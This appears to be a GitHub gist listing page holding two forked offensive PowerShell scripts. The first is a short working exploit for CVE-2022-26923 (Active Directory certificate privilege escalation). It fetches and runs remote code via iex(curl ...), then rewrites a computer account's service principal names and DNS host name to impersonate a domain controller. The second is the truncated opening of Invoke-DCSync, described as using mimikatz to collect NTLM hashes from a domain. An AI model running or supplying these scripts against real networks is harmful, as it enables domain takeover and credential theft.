ghostion

ghostion / CVE-2022–26923.ps1

Created February 12, 2023 22:15 — forked from Wh04m1001/CVE-2022–26923.ps1

	iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )

	Import-ActiveDirectory
	Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose

	#in my testing i had to set dnshostname to $null first

	Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null

	Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local

ghostion / Invoke-DCSync.ps1

Created September 13, 2021 07:57 — forked from monoxgas/Invoke-DCSync.ps1

What more could you want?

This file has been truncated, but you can view the full file.

	function Invoke-DCSync
	{
	<#
	.SYNOPSIS

	Uses dcsync from mimikatz to collect NTLM hashes from the domain.

	Author: @monoxgas
	Improved by: @harmj0y